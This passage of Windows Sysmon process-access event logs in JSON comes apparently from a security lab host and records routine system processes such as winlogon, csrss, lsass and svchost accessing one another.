11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nSourceProcessId: 800\r\nSourceThreadId: 804\r\nSourceImage: C:\\Windows\\system32\\winlogon.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\winlogon.exe+193b7|C:\\Windows\\system32\\winlogon.exe+22617|C:\\Windows\\system32\\winlogon.exe+2b287|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","SourceProcessId":"800","SourceThreadId":"804","SourceImage":"C:\\Windows\\system32\\winlogon.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\winlogon.exe+193b7|C:\\Windows\\system32\\winlogon.exe+22617|C:\\Windows\\system32\\winlogon.exe+2b287|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-001043470000}\r\nSourceProcessId: 724\r\nSourceThreadId: 740\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-001043470000}","SourceProcessId":"724","SourceThreadId":"740","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 